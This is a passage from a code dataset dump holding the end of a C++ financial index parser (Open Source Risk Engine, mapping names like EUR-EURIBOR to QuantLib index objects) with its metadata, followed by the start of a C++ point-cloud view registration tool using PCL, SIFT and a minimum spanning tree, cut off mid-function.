~IborIndexParser() {}\n    virtual boost::shared_ptr<IborIndex> build(Period p, const Handle<YieldTermStructure>& h) const = 0;\n};\n\ntemplate <class T> class IborIndexParserWithPeriod : public IborIndexParser {\npublic:\n    boost::shared_ptr<IborIndex> build(Period p, const Handle<YieldTermStructure>& h) const override {\n        QL_REQUIRE(p != 1 * Days, \"must have a period longer than 1D\");\n        return boost::make_shared<T>(p, h);\n    }\n};\n\n// Specialise for MXN-TIIE. If tenor equates to 28 Days, i.e. tenor is 4W or 28D, ensure that the index is created\n// with a tenor of 4W under the hood. Things work better this way especially cap floor stripping.\ntemplate <> class IborIndexParserWithPeriod<MXNTiie> : public IborIndexParser {\npublic:\n    boost::shared_ptr<IborIndex> build(Period p, const Handle<YieldTermStructure>& h) const override {\n        QL_REQUIRE(p != 1 * Days, \"must have a period longer than 1D\");\n        if (p.units() == Days && p.length() == 28) {\n            return boost::make_shared<MXNTiie>(4 * Weeks, h);\n        } else {\n            return boost::make_shared<MXNTiie>(p, h);\n        }\n    }\n};\n\ntemplate <class T> class IborIndexParserOIS : public IborIndexParser {\npublic:\n    boost::shared_ptr<IborIndex> build(Period p, const Handle<YieldTermStructure>& h) const override {\n        QL_REQUIRE(p == 1 * Days, \"must have period 1D\");\n        return boost::make_shared<T>(h);\n    }\n};\n\ntemplate <class T> class IborIndexParserBMA : public IborIndexParser {\npublic:\n    boost::shared_ptr<IborIndex> build(Period p, const Handle<YieldTermStructure>& h) const override {\n        QL_REQUIRE((p.length() == 7 && p.units() == Days) || (p.length() == 1 && p.units() == Weeks),\n                   \"BMA indexes are uniquely available with a tenor of 1 week.\");\n        const boost::shared_ptr<BMAIndex> bma = boost::make_shared<BMAIndex>(h);\n        return boost::make_shared<T>(bma);\n    }\n};\n\nboost::shared_ptr<FxIndex> parseFxIndex(const string& s) {\n    std::vector<string> tokens;\n    split(tokens, s, boost::is_any_of(\"-\"));\n    QL_REQUIRE(tokens.size() == 4, \"four tokens required in \" << s << \": FX-TAG-CCY1-CCY2\");\n    QL_REQUIRE(tokens[0] == \"FX\", \"expected first token to be FX\");\n    return boost::make_shared<FxIndex>(tokens[0] + \"/\" + tokens[1], 0, parseCurrency(tokens[2]),\n                                       parseCurrency(tokens[3]), NullCalendar());\n}\n\nboost::shared_ptr<EquityIndex> parseEquityIndex(const string& s) {\n    std::vector<string> tokens;\n    split(tokens, s, boost::is_any_of(\"-\"));\n    QL_REQUIRE(tokens.size() == 2, \"two tokens required in \" << s << \": EQ-NAME\");\n    QL_REQUIRE(tokens[0] == \"EQ\", \"expected first token to be EQ\");\n    if (tokens.size() == 2) {\n        return boost::make_shared<EquityIndex>(tokens[1], NullCalendar(), Currency());\n    } else {\n        QL_FAIL(\"Error parsing equity string \" + s);\n    }\n}\n\nbool tryParseIborIndex(const string& s, boost::shared_ptr<IborIndex>& index) {\n    try {\n        index = parseIborIndex(s);\n    } catch (...) {\n        return false;\n    }\n    return true;\n}\n\nboost::shared_ptr<IborIndex> parseIborIndex(const string& s, const Handle<YieldTermStructure>& h) {\n    string dummy;\n    return parseIborIndex(s, dummy, h);\n}\n\nboost::shared_ptr<IborIndex> parseIborIndex(const string& s, string& tenor, const Handle<YieldTermStructure>& h) {\n\n    std::vector<string> tokens;\n    split(tokens, s, boost::is_any_of(\"-\"));\n\n    QL_REQUIRE(tokens.size() == 2 || tokens.size() == 3,\n               \"Two or three tokens required in \" << s << \": CCY-INDEX or CCY-INDEX-TERM\");\n\n    Period p;\n    if (tokens.size() == 3) {\n        tenor = tokens[2];\n        p = parsePeriod(tokens[2]);\n    } else {\n        tenor = \"\";\n        p = 1 * Days;\n    }\n\n    static map<string, boost::shared_ptr<IborIndexParser>> m = {\n        {\"EUR-EONIA\", boost::make_shared<IborIndexParserOIS<Eonia>>()},\n        {\"GBP-SONIA\", boost::make_shared<IborIndexParserOIS<Sonia>>()},\n        {\"JPY-TONAR\", boost::make_shared<IborIndexParserOIS<Tonar>>()},\n        {\"CHF-TOIS\", boost::make_shared<IborIndexParserOIS<CHFTois>>()},\n        {\"CHF-SARON\", boost::make_shared<IborIndexParserOIS<CHFSaron>>()},\n        {\"USD-FedFunds\", boost::make_shared<IborIndexParserOIS<FedFunds>>()},\n        {\"AUD-AONIA\", boost::make_shared<IborIndexParserOIS<Aonia>>()},\n        {\"CAD-CORRA\", boost::make_shared<IborIndexParserOIS<CORRA>>()},\n        {\"DKK-DKKOIS\", boost::make_shared<IborIndexParserOIS<DKKOis>>()},\n        {\"DKK-TNR\", boost::make_shared<IborIndexParserOIS<DKKOis>>()},\n        {\"SEK-SIOR\", boost::make_shared<IborIndexParserOIS<SEKSior>>()},\n        {\"AUD-BBSW\", boost::make_shared<IborIndexParserWithPeriod<AUDbbsw>>()},\n        {\"AUD-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<AUDLibor>>()},\n        {\"EUR-EURIBOR\", boost::make_shared<IborIndexParserWithPeriod<Euribor>>()},\n        {\"EUR-EURIB\", boost::make_shared<IborIndexParserWithPeriod<Euribor>>()},\n        {\"CAD-CDOR\", boost::make_shared<IborIndexParserWithPeriod<Cdor>>()},\n        {\"CAD-BA\", boost::make_shared<IborIndexParserWithPeriod<Cdor>>()},\n        {\"CZK-PRIBOR\", boost::make_shared<IborIndexParserWithPeriod<CZKPribor>>()},\n        {\"EUR-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<EURLibor>>()},\n        {\"USD-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<USDLibor>>()},\n        {\"GBP-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<GBPLibor>>()},\n        {\"JPY-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<JPYLibor>>()},\n        {\"JPY-TIBOR\", boost::make_shared<IborIndexParserWithPeriod<Tibor>>()},\n        {\"CAD-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<CADLibor>>()},\n        {\"CHF-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<CHFLibor>>()},\n        {\"SEK-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<SEKLibor>>()},\n        {\"SEK-STIBOR\", boost::make_shared<IborIndexParserWithPeriod<SEKStibor>>()},\n        {\"NOK-NIBOR\", boost::make_shared<IborIndexParserWithPeriod<NOKNibor>>()},\n        {\"HKD-HIBOR\", boost::make_shared<IborIndexParserWithPeriod<HKDHibor>>()},\n        {\"SAR-SAIBOR\", boost::make_shared<IborIndexParserWithPeriod<SAibor>>()},\n        {\"SGD-SIBOR\", boost::make_shared<IborIndexParserWithPeriod<SGDSibor>>()},\n        {\"SGD-SOR\", boost::make_shared<IborIndexParserWithPeriod<SGDSor>>()},\n        {\"DKK-CIBOR\", boost::make_shared<IborIndexParserWithPeriod<DKKCibor>>()},\n        {\"DKK-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<DKKLibor>>()},\n        {\"HUF-BUBOR\", boost::make_shared<IborIndexParserWithPeriod<HUFBubor>>()},\n        {\"IDR-IDRFIX\", boost::make_shared<IborIndexParserWithPeriod<IDRIdrfix>>()},\n        {\"IDR-JIBOR\", boost::make_shared<IborIndexParserWithPeriod<IDRJibor>>()},\n        {\"ILS-TELBOR\", boost::make_shared<IborIndexParserWithPeriod<ILSTelbor>>()},\n        {\"INR-MIFOR\", boost::make_shared<IborIndexParserWithPeriod<INRMifor>>()},\n        {\"MXN-TIIE\", boost::make_shared<IborIndexParserWithPeriod<MXNTiie>>()},\n        {\"PLN-WIBOR\", boost::make_shared<IborIndexParserWithPeriod<PLNWibor>>()},\n        {\"SKK-BRIBOR\", boost::make_shared<IborIndexParserWithPeriod<SKKBribor>>()},\n        {\"NZD-BKBM\", boost::make_shared<IborIndexParserWithPeriod<NZDBKBM>>()},\n        {\"TRY-TRLIBOR\", boost::make_shared<IborIndexParserWithPeriod<TRLibor>>()},\n        {\"TWD-TAIBOR\", boost::make_shared<IborIndexParserWithPeriod<TWDTaibor>>()},\n        {\"MYR-KLIBOR\", boost::make_shared<IborIndexParserWithPeriod<MYRKlibor>>()},\n        {\"KRW-CD\", boost::make_shared<IborIndexParserWithPeriod<KRWCd>>()},\n        {\"KRW-KORIBOR\", boost::make_shared<IborIndexParserWithPeriod<KRWKoribor>>()},\n        {\"ZAR-JIBAR\", boost::make_shared<IborIndexParserWithPeriod<Jibar>>()},\n        {\"RUB-MOSPRIME\", boost::make_shared<IborIndexParserWithPeriod<RUBMosprime>>()},\n        {\"USD-SIFMA\", boost::make_shared<IborIndexParserBMA<BMAIndexWrapper>>()},\n        {\"THB-BIBOR\", boost::make_shared<IborIndexParserWithPeriod<THBBibor>>()},\n        {\"PHP-PHIREF\", boost::make_shared<IborIndexParserWithPeriod<PHPPhiref>>()},\n        {\"COP-IBR\", boost::make_shared<IborIndexParserOIS<COPIbr>>()},\n        {\"DEM-LIBOR\", boost::make_shared<IborIndexParserWithPeriod<DEMLibor>>()},\n        {\"BRL-CDI\", boost::make_shared<IborIndexParserOIS<BRLCdi>>()},\n        {\"NOK-NOWA\", boost::make_shared<IborIndexParserOIS<Nowa>>()},\n        {\"CLP-CAMARA\", boost::make_shared<IborIndexParserOIS<CLPCamara>>()},\n        {\"NZD-OCR\", boost::make_shared<IborIndexParserOIS<Nzocr>>()},\n        {\"PLN-POLONIA\", boost::make_shared<IborIndexParserOIS<PLNPolonia>>()}};\n\n    auto it = m.find(tokens[0] + \"-\" + tokens[1]);\n    if (it != m.end()) {\n        return it->second->build(p, h);\n    } else if (tokens[1] == \"GENERIC\") {\n        // We have a generic index\n        auto ccy = parseCurrency(tokens[0]);\n        return boost::make_shared<GenericIborIndex>(p, ccy, h);\n    } else {\n        QL_FAIL(\"parseIborIndex \\\"\" << s << \"\\\" not recognized\");\n    }\n}\n\nbool isGenericIndex(const string& indexName) { \n    return indexName.find(\"-GENERIC-\") != string::npos;\n}\n\nbool isInflationIndex(const string& indexName) {\n    try {\n        // Currently, only way to have an inflation index is to have a ZeroInflationIndex\n        parseZeroInflationIndex(indexName);\n    } catch (...) {\n        return false;\n    }\n    return true;\n}\n\n// Swap Index Parser base\nclass SwapIndexParser {\npublic:\n    virtual ~SwapIndexParser() {}\n    virtual boost::shared_ptr<SwapIndex> build(Period p, const Handle<YieldTermStructure>& f,\n                                               const Handle<YieldTermStructure>& d) const = 0;\n};\n\n// We build with both a forwarding and discounting curve\ntemplate <class T> class SwapIndexParserDualCurve : public SwapIndexParser {\npublic:\n    boost::shared_ptr<SwapIndex> build(Period p, const Handle<YieldTermStructure>& f,\n                                       const Handle<YieldTermStructure>& d) const override {\n        return boost::make_shared<T>(p, f, d);\n    }\n};\n\nboost::shared_ptr<SwapIndex> parseSwapIndex(const string& s, const Handle<YieldTermStructure>& f,\n                                            const Handle<YieldTermStructure>& d,\n                                            boost::shared_ptr<data::IRSwapConvention> convention) {\n\n    std::vector<string> tokens;\n    split(tokens, s, boost::is_any_of(\"-\"));\n\n    QL_REQUIRE(tokens.size() == 3, \"three tokens required in \" << s << \": CCY-CMS-TENOR\");\n    QL_REQUIRE(tokens[0].size() == 3, \"invalid currency code in \" << s);\n    QL_REQUIRE(tokens[1] == \"CMS\", \"expected CMS as middle token in \" << s);\n\n    Period p = parsePeriod(tokens[2]);\n\n    string familyName = tokens[0] + \"LiborSwapIsdaFix\";\n    Currency ccy = parseCurrency(tokens[0]);\n\n    boost::shared_ptr<IborIndex> index =\n        f.empty() || !convention ? boost::shared_ptr<IborIndex>() : convention->index()->clone(f);\n    QuantLib::Natural settlementDays = index ? index->fixingDays() : 0;\n    QuantLib::Calendar calender = convention ? convention->fixedCalendar() : NullCalendar();\n    Period fixedLegTenor = convention ? Period(convention->fixedFrequency()) : Period(1, Months);\n    BusinessDayConvention fixedLegConvention = convention ? convention->fixedConvention() : ModifiedFollowing;\n    DayCounter fixedLegDayCounter = convention ? convention->fixedDayCounter() : ActualActual();\n\n    if (d.empty())\n        return boost::make_shared<SwapIndex>(familyName, p, settlementDays, ccy, calender, fixedLegTenor,\n                                             fixedLegConvention, fixedLegDayCounter, index);\n    else\n        return boost::make_shared<SwapIndex>(familyName, p, settlementDays, ccy, calender, fixedLegTenor,\n                                             fixedLegConvention, fixedLegDayCounter, index, d);\n}\n\n// Zero Inflation Index Parser\nclass ZeroInflationIndexParserBase {\npublic:\n    virtual ~ZeroInflationIndexParserBase() {}\n    virtual boost::shared_ptr<ZeroInflationIndex> build(bool isInterpolated,\n                                                        const Handle<ZeroInflationTermStructure>& h) const = 0;\n};\n\ntemplate <class T> class ZeroInflationIndexParser : public ZeroInflationIndexParserBase {\npublic:\n    boost::shared_ptr<ZeroInflationIndex> build(bool isInterpolated,\n                                                const Handle<ZeroInflationTermStructure>& h) const override {\n        return boost::make_shared<T>(isInterpolated, h);\n    }\n};\n\nboost::shared_ptr<ZeroInflationIndex> parseZeroInflationIndex(const string& s, bool isInterpolated,\n                                                              const Handle<ZeroInflationTermStructure>& h) {\n\n    static map<string, boost::shared_ptr<ZeroInflationIndexParserBase>> m = {\n        {\"EUHICP\", boost::make_shared<ZeroInflationIndexParser<EUHICP>>()},\n        {\"EU HICP\", boost::make_shared<ZeroInflationIndexParser<EUHICP>>()},\n        {\"EUHICPXT\", boost::make_shared<ZeroInflationIndexParser<EUHICPXT>>()},\n        {\"EU HICPXT\", boost::make_shared<ZeroInflationIndexParser<EUHICPXT>>()},\n        {\"FRHICP\", boost::make_shared<ZeroInflationIndexParser<FRHICP>>()},\n        {\"FR HICP\", boost::make_shared<ZeroInflationIndexParser<FRHICP>>()},\n        {\"UKRPI\", boost::make_shared<ZeroInflationIndexParser<UKRPI>>()},\n        {\"UK RPI\", boost::make_shared<ZeroInflationIndexParser<UKRPI>>()},\n        {\"USCPI\", boost::make_shared<ZeroInflationIndexParser<USCPI>>()},\n        {\"US CPI\", boost::make_shared<ZeroInflationIndexParser<USCPI>>()},\n        {\"ZACPI\", boost::make_shared<ZeroInflationIndexParser<ZACPI>>()},\n        {\"ZA CPI\", boost::make_shared<ZeroInflationIndexParser<ZACPI>>()},\n        {\"SECPI\", boost::make_shared<ZeroInflationIndexParser<SECPI>>()},\n        {\"DKCPI\", boost::make_shared<ZeroInflationIndexParser<DKCPI>>()}};\n\n    auto it = m.find(s);\n    if (it != m.end()) {\n        return it->second->build(isInterpolated, h);\n    } else {\n        QL_FAIL(\"parseZeroInflationIndex: \\\"\" << s << \"\\\" not recognized\");\n    }\n}\n\nboost::shared_ptr<Index> parseIndex(const string& s, const data::Conventions& conventions) {\n    boost::shared_ptr<QuantLib::Index> ret_idx;\n    try {\n        ret_idx = parseIborIndex(s);\n    } catch (...) {\n    }\n    if (!ret_idx) {\n        try {\n            auto c = boost::dynamic_pointer_cast<SwapIndexConvention>(conventions.get(s));\n            QL_REQUIRE(c, \"no swap index convention\");\n            auto c2 = boost::dynamic_pointer_cast<IRSwapConvention>(conventions.get(c->conventions()));\n            QL_REQUIRE(c2, \"no swap convention\");\n            ret_idx = parseSwapIndex(s, Handle<YieldTermStructure>(), Handle<YieldTermStructure>(), c2);\n        } catch (...) {\n        }\n    }\n    if (!ret_idx) {\n        try {\n            ret_idx = parseZeroInflationIndex(s);\n        } catch (...) {\n        }\n    }\n    if (!ret_idx) {\n        try {\n            ret_idx = parseFxIndex(s);\n        } catch (...) {\n        }\n    }\n    if (!ret_idx) {\n        try {\n            ret_idx = parseEquityIndex(s);\n        } catch (...) {\n        }\n    }\n    QL_REQUIRE(ret_idx, \"parseIndex \\\"\" << s << \"\\\" not recognized\");\n    return ret_idx;\n}\n\nbool isOvernightIndex(const string& indexName) {\n\n    boost::shared_ptr<IborIndex> index;\n    if (tryParseIborIndex(indexName, index)) {\n        auto onIndex = boost::dynamic_pointer_cast<OvernightIndex>(index);\n        if (onIndex)\n            return true;\n    }\n\n    return false;\n}\n\n} // namespace data\n} // namespace ore\n", "meta": {"hexsha": "032324c54039543f132d76730f632f2580a6eb83", "size": 18591, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "OREData/ored/utilities/indexparser.cpp", "max_stars_repo_name": "chennssol/Engine", "max_stars_repo_head_hexsha": "d87a6bb2349419cf3575c8f9d698b4b1597cb4ae", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "OREData/ored/utilities/indexparser.cpp", "max_issues_repo_name": "chennssol/Engine", "max_issues_repo_head_hexsha": "d87a6bb2349419cf3575c8f9d698b4b1597cb4ae", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "OREData/ored/utilities/indexparser.cpp", "max_forks_repo_name": "chennssol/Engine", "max_forks_repo_head_hexsha": "d87a6bb2349419cf3575c8f9d698b4b1597cb4ae", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2022-02-07T02:04:10.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-07T02:04:10.000Z", "avg_line_length": 44.476076555, "max_line_length": 114, "alphanum_fraction": 0.666128772, "num_tokens": 5140, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO\n\n", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.2909808600663598, "lm_q1q2_score": 0.1477635330198645}}
{"text": "#include <glog/logging.h>\n#include <pcl/features/integral_image_normal.h>\n#include <pcl/filters/passthrough.h>\n#include <pcl/io/pcd_io.h>\n#include <pcl/recognition/cg/geometric_consistency.h>\n#include <pcl/registration/correspondence_rejection_sample_consensus.h>\n#include <pcl/registration/transformation_estimation_svd.h>\n#include <v4r/common/intrinsics.h>\n#include <v4r/common/miscellaneous.h>\n#include <v4r/common/pcl_opencv.h>\n#include <v4r/common/pcl_utils.h>\n#include <v4r/config.h>\n#include <v4r/features/FeatureDetector_KD_SIFTGPU.h>\n#include <v4r/io/eigen.h>\n#include <v4r/io/filesystem.h>\n#include <v4r/registration/FeatureBasedRegistration.h>\n#include <v4r/registration/fast_icp_with_gc.h>\n#include <boost/filesystem.hpp>\n#include <boost/graph/adjacency_list.hpp>\n#include <boost/graph/kruskal_min_spanning_tree.hpp>\n#include <boost/program_options.hpp>\n\nnamespace bf = boost::filesystem;\nnamespace po = boost::program_options;\n\nnamespace std {\nstd::ostream &operator<<(std::ostream &, const std::vector<float> &);\n\nstd::ostream &operator<<(std::ostream &os, const std::vector<float> &vec) {\n  for (auto item : vec) {\n    os << item << \" \";\n  }\n  return os;\n}\n}  // namespace std\n\nstruct CamConnect {\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n  Eigen::Matrix4f transformation_;\n  float edge_weight;\n  size_t source_id_, target_id_;\n\n  CamConnect() : edge_weight(0.f) {}\n\n  bool operator<(const CamConnect &e) const {\n    return edge_weight < e.edge_weight;\n  }\n\n  bool operator<=(const CamConnect &e) const {\n    return edge_weight <= e.edge_weight;\n  }\n\n  bool operator>(const CamConnect &e) const {\n    return edge_weight > e.edge_weight;\n  }\n\n  bool operator>=(const CamConnect &e) const {\n    return edge_weight >= e.edge_weight;\n  }\n};\n\nstruct View {\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  typedef pcl::PointXYZRGB PointT;\n  cv::Mat descriptors_;\n  std::vector<int> keypoint_indices_;\n  Eigen::Matrix4f camera_pose_;\n  pcl::PointCloud<PointT>::ConstPtr cloud_;\n};\n\nclass ViewRegistration {\n private:\n  typedef pcl::PointXYZRGB PointT;\n  std::vector<View, Eigen::aligned_allocator<View>> grph_;\n\n  typedef boost::property<boost::edge_weight_t, CamConnect> EdgeWeightProperty;\n  typedef boost::adjacency_list<boost::vecS, boost::vecS, boost::undirectedS, size_t, EdgeWeightProperty> Graph;\n  typedef boost::graph_traits<Graph>::vertex_descriptor Vertex;\n  typedef boost::graph_traits<Graph>::edge_descriptor Edge;\n  typedef boost::graph_traits<Graph>::vertex_iterator vertex_iter;\n  typedef boost::property_map<Graph, boost::vertex_index_t>::type IndexMap;\n\n  Graph gs_;\n\n  std::vector<Eigen::Matrix4f, Eigen::aligned_allocator<Eigen::Matrix4f>> absolute_poses_;\n\n  v4r::Intrinsics cam_;\n\n public:\n  EIGEN_MAKE_ALIGNED_OPERATOR_NEW\n\n  ViewRegistration() {}\n\n  void calcEdgeWeightAndRefineTf(const typename pcl::PointCloud<PointT>::ConstPtr &cloud_src,\n                                 const typename pcl::PointCloud<PointT>::ConstPtr &cloud_dst,\n                                 const Eigen::Matrix4f &transform, float &registration_quality,\n                                 Eigen::Matrix4f &refined_transform) {\n    const float best_overlap_ = 0.75f;\n\n    v4r::FastIterativeClosestPointWithGC<PointT> icp;\n\n    bool use_normals = true;\n    // compute normals\n    if (use_normals) {\n      pcl::PointCloud<pcl::Normal>::Ptr src_normals(new pcl::PointCloud<pcl::Normal>);\n      pcl::PointCloud<pcl::Normal>::Ptr dst_normals(new pcl::PointCloud<pcl::Normal>);\n      pcl::IntegralImageNormalEstimation<PointT, pcl::Normal> normal_estimation;\n      normal_estimation.setNormalEstimationMethod(\n          pcl::IntegralImageNormalEstimation<PointT, pcl::Normal>::AVERAGE_3D_GRADIENT);\n      normal_estimation.setNormalSmoothingSize(10.0);\n      normal_estimation.setBorderPolicy(pcl::IntegralImageNormalEstimation<PointT, pcl::Normal>::BORDER_POLICY_MIRROR);\n      normal_estimation.setInputCloud(cloud_src);\n      normal_estimation.compute(*src_normals);\n      normal_estimation.setInputCloud(cloud_dst);\n      normal_estimation.compute(*dst_normals);\n      icp.setSourceNormals(src_normals);\n      icp.setTargetNormals(dst_normals);\n    }\n\n    icp.setCameraIntrinsics(cam_);\n    icp.setMaxCorrespondenceDistance(0.02f);\n    icp.setInputSource(cloud_src);\n    icp.setInputTarget(cloud_dst);\n    icp.useStandardCG(true);\n    icp.setNoCG(true);\n    icp.setOverlapPercentage(best_overlap_);\n    icp.setKeepMaxHypotheses(5);\n    icp.setMaximumIterations(10);\n    icp.align(transform);\n    float w_after_icp_ = icp.getFinalTransformation(refined_transform);\n\n    if (w_after_icp_ < 0 || !pcl_isfinite(w_after_icp_))\n      w_after_icp_ = std::numeric_limits<float>::max();\n    else\n      w_after_icp_ = best_overlap_ - w_after_icp_;\n\n    //    transform = icp_trans; // refined transformation\n    registration_quality = w_after_icp_;\n  }\n\n  void computeAbsolutePosesRecursive(\n      const Graph &grph, const Vertex start, const Eigen::Matrix4f &accum,\n      std::vector<Eigen::Matrix4f, Eigen::aligned_allocator<Eigen::Matrix4f>> &absolute_poses,\n      std::vector<bool> &hop_list) {\n    boost::property_map<Graph, boost::edge_weight_t>::type weightmap = boost::get(boost::edge_weight, gs_);\n    boost::graph_traits<Graph>::out_edge_iterator ei, ei_end;\n    for (boost::tie(ei, ei_end) = boost::out_edges(start, grph); ei != ei_end; ++ei) {\n      Vertex targ = boost::target(*ei, grph);\n      size_t target_id = boost::target(*ei, grph);\n\n      if (hop_list[target_id])\n        continue;\n\n      hop_list[target_id] = true;\n      CamConnect my_e = weightmap[*ei];\n      Eigen::Matrix4f intern_accum;\n      Eigen::Matrix4f trans = my_e.transformation_;\n      if (my_e.target_id_ != target_id) {\n        Eigen::Matrix4f trans_inv;\n        trans_inv = trans.inverse();\n        trans = trans_inv;\n      }\n      intern_accum = accum * trans;\n      absolute_poses[target_id] = intern_accum;\n      computeAbsolutePosesRecursive(grph, targ, intern_accum, absolute_poses, hop_list);\n    }\n  }\n\n  void computeAbsolutePoses(const Graph &grph,\n                            std::vector<Eigen::Matrix4f, Eigen::aligned_allocator<Eigen::Matrix4f>> &absolute_poses,\n                            const Eigen::Matrix4f &initial_transform = Eigen::Matrix4f::Identity()) {\n    size_t num_frames = boost::num_vertices(grph);\n    absolute_poses.resize(num_frames);\n    std::vector<bool> hop_list(num_frames, false);\n    Vertex source_view = 0;\n    hop_list[0] = true;\n    Eigen::Matrix4f accum = initial_transform;\n    absolute_poses[0] = accum;\n    computeAbsolutePosesRecursive(grph, source_view, accum, absolute_poses, hop_list);\n  }\n\n  void addView(const pcl::PointCloud<PointT>::ConstPtr &cloud) {\n    View view;\n    view.cloud_ = cloud;\n\n    v4r::PCLOpenCVConverter<PointT> pcl_opencv_converter;\n    pcl_opencv_converter.setInputCloud(view.cloud_);\n    auto color_image = pcl_opencv_converter.getRGBImage();\n\n    std::vector<cv::KeyPoint> keypoints;\n    v4r::FeatureDetector_KD_SIFTGPU sift;\n    sift.detectAndCompute(color_image, keypoints, view.descriptors_);\n    view.keypoint_indices_ = sift.getKeypointIndices();\n\n    grph_.push_back(view);\n  }\n\n  void buildGraph() {\n    for (size_t view_a = 0; view_a < grph_.size(); view_a++) {\n      for (size_t view_b = 0; view_b < view_a; view_b++) {\n        std::vector<CamConnect> transforms;\n        CamConnect edge;\n        edge.source_id_ = view_b;\n        edge.target_id_ = view_a;\n\n        const auto tfs = v4r::Registration::FeatureBasedRegistration<PointT>::estimateViewTransformationBySIFT(\n            *grph_[view_a].cloud_, *grph_[view_b].cloud_, grph_[view_a].keypoint_indices_,\n            grph_[view_b].keypoint_indices_, grph_[view_a].descriptors_, grph_[view_b].descriptors_);\n\n        for (const auto &tf : tfs) {\n          edge.transformation_ = tf;\n          transforms.push_back(edge);\n        }\n\n        for (CamConnect &c : transforms) {\n          Eigen::Matrix4f icp_refined_trans;\n          calcEdgeWeightAndRefineTf(grph_[view_a].cloud_, grph_[view_b].cloud_, c.transformation_, c.edge_weight,\n                                    icp_refined_trans);\n          c.transformation_ = icp_refined_trans;\n          LOG(INFO) << \"Edge weight is \" << c.edge_weight << \" for edge connecting vertex \" << c.source_id_ << \" and \"\n                    << c.target_id_;\n        }\n\n        if (!transforms.empty()) {\n          std::sort(transforms.begin(), transforms.end());\n          boost::add_edge(transforms[0].source_id_, transforms[0].target_id_, transforms[0], gs_);\n        }\n      }\n    }\n  }\n\n  void compute_mst() {\n    boost::property_map<Graph, boost::edge_weight_t>::type weightmap = boost::get(boost::edge_weight, gs_);\n    std::vector<Edge> spanning_tree;\n    boost::kruskal_minimum_spanning_tree(gs_, std::back_inserter(spanning_tree));\n\n    Graph grph_mst;\n    std::cout << \"Print the edges in the MST:\" << std::endl;\n    for (std::vector<Edge>::iterator ei = spanning_tree.begin(); ei != spanning_tree.end(); ++ei) {\n      CamConnect my_e = weightmap[*ei];\n      std::cout << \"[\" << source(*ei, gs_) << \"->\" << target(*ei, gs_) << \"] with weight \" << my_e.edge_weight\n                << std::endl;\n      boost::add_edge(source(*ei, gs_), target(*ei, gs_), weightmap[*ei], grph_mst);\n    }\n\n    computeAbsolutePoses(grph_mst, absolute_poses_);\n\n    for (size_t view_id = 0; view_id < absolute_poses_.size(); view_id++) {\n      grph_[view_id].camera_pose_ = absolute_poses_[view_id];\n    }\n  }\n\n  std::vector<Eigen::Matrix4f, Eigen::aligned_allocator<Eigen::Matrix4f>> getAbsolutePoses() const {\n    return absolute_poses_;\n  }\n\n  void setCameraIntrinsics(const v4r::Intrinsics &cam) {\n    cam_ = cam;\n  }\n};\n\nint main(int argc, char **argv) {\n  typedef pcl::PointXYZRGB PointT;\n  bf::path input_dir;\n  bool save_pose = false;\n  double chop_z = std::numeric_limits<float>::max();\n  int verbosity = 0;\n  bf::path camera_calibration_file;\n\n  po::options_description desc(\n      \"Feature-based View Registration via Minimum Spanning Tree\\n======================================\\n**Allowed \"\n      \"options\");\n  desc.add_options()(\"help,h\", \"produce help message\");\n  desc.add_options()(\"input_dir,i\", po::value<bf::path>(&input_dir)->required(),\n                     \"Directory with point clouds to be registered\");\n  desc.add_options()(\"chop_z,z\", po::value<double>(&chop_z)->default_value(chop_z),\n                     \"Cut-off distance in meter in z direction.\");\n  desc.add_options()(\"save_pose,s\", po::bool_switch(&save_pose),\n                     \"save computed camera pose in sensor header fields of input point clouds.\");\n  desc.add_options()(\"camera_calibration,c\", po::value<bf::path>(&camera_calibration_file),\n                     \"Camera calibration file with intrinsic parameters\");\n  po::variables_map vm;\n  po::parsed_options parsed = po::command_line_parser(argc, argv).options(desc).run();\n  po::store(parsed, vm);\n  if (vm.count(\"help\")) {\n    std::cout << desc << std::endl;\n    return -1;\n  }\n  try {\n    po::notify(vm);\n  } catch (std::exception &e) {\n    std::cerr << \"Error: \" << e.what() << std::endl << std::endl << desc << std::endl;\n  }\n\n  if (verbosity >= 0) {\n    FLAGS_v = verbosity;\n    std::cout << \"Enabling verbose logging.\" << std::endl;\n  }\n  FLAGS_logtostderr = 1;\n  google::InitGoogleLogging(argv[0]);\n\n  LOG(INFO) << \"Processing all point clouds in folder \" << input_dir.string();\n\n  const auto files_intern = v4r::io::getFilesInDirectory(input_dir, \".*.pcd\", false);\n  if (files_intern.empty()) {\n    LOG(ERROR) << \"No files in directory: \" << input_dir.string();\n    return -1;\n  }\n\n  v4r::Intrinsics cam = v4r::Intrinsics::PrimeSense();\n\n  if (bf::exists(camera_calibration_file)) {\n    try {\n      cam = v4r::Intrinsics::load(camera_calibration_file.string());\n    } catch (const std::runtime_error &e) {\n      LOG(WARNING) << \"Failed to load camera calibration file from \" << camera_calibration_file.string()\n                   << \"! Will use Primesense default camera intrinsics parameters!\";\n    }\n  }\n\n  ViewRegistration view_reg;\n  view_reg.setCameraIntrinsics(cam);\n  for (const auto &fn : files_intern) {\n    const bf::path full_path = input_dir / fn;\n    pcl::PointCloud<PointT>::Ptr cloud(new pcl::PointCloud<PointT>);\n    pcl::io::loadPCDFile(full_path.string(), *cloud);\n\n    pcl::PointCloud<PointT>::Ptr cloud_filtered(new pcl::PointCloud<PointT>);\n\n    pcl::PassThrough<PointT> pass;\n    pass.setFilterLimits(0.f, chop_z);\n    